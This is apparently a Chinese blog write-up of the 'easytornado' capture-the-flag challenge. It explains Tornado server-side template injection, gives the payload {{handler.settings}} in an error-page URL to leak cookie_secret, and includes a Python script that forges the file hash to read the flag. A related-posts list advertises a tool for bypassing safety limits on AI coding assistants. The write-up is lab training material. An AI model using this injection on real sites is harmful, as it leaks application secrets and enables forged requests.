[CTF]攻防世界:easytornado

题目:攻防世界:easytornado

提示:学习 tornado 模板注入STTI,获取cookie_secret

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用。

Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python

的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler

指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向

RequestHandler.application.settings了,这里面就是我们的一些环境变量

bash 复制代码
通过模板注入方式我们可以构造获取cookie_secret的payload:

http://XXX/error?msg={{handler.settings}}

步骤

  1. 网站页面




  1. 并且发现url中传输了两个参数,一个是filename,另一个是filehash, 改下filename 试试 /fllllllllllllag

报错了,可以猜测不止需要filename,filehash也必须要,而且要满足 "md5(cookie_secret+md5(filename))"。 但是 cookie_secret在哪呢。


  1. 利用tornado框架渲染注入获取cookie_secret

  1. 生成fllllllllllllag的filehash
bash 复制代码
import hashlib

cookie_secret = "d4c23be3-6ab1-40da-adc5-320376f1d4cb"

filename = "/fllllllllllllag"

md5file = hashlib.md5(filename.encode())

allmd5 = hashlib.md5()

allmd5.update((cookie_secret+md5file.hexdigest()).encode())

print(allmd5.hexdigest())
相关推荐
lifejump17 小时前
Dede(织梦)CMS渗透测试(all)
前端·网络·安全·web安全
HackTwoHub19 小时前
AI提示词注入绕过工具:一键绕过Codex/Claude安全限制,CTF夺旗与渗透测试必备神器
网络·人工智能·安全·web安全·系统安全·网络攻击模型·安全架构
sensen_kiss19 小时前
CAN302 Technologies for E-Commerce 电子商务技术 Pt.8 网络安全(Secure the Web)
网络·学习·安全·web安全
其实防守也摸鱼20 小时前
Sqlmap:选取sqli-labs中less-8进行sqlmap注入测试
前端·css·网络·安全·web安全·less·sqli-labs
见青..1 天前
JAVA安全靶场环境搭建
java·web安全·靶场·java安全
上海云盾-小余1 天前
跨境业务网络高危隐患:恶意流量拦截与高防架构搭建实战
网络·安全·web安全
w1wi1 天前
cve_2026_31431(Copy Fail)物联网设备万能提权漏洞
web安全·安全性测试
上海云盾第一敬业销售1 天前
深度解析:CDN网络安全架构与实践
安全·web安全·架构
如君愿1 天前
考研复习 Day 36 | 习题--计算机网络 第七章 网络安全(下)、数据结构 排序算法(下)
计算机网络·考研·web安全
Chockmans2 天前
春秋云境CVE-2022-32991(手注和sqlmap)保姆级教学
数据库·安全·web安全·网络安全·oracle·春秋云境·cve-2022-32991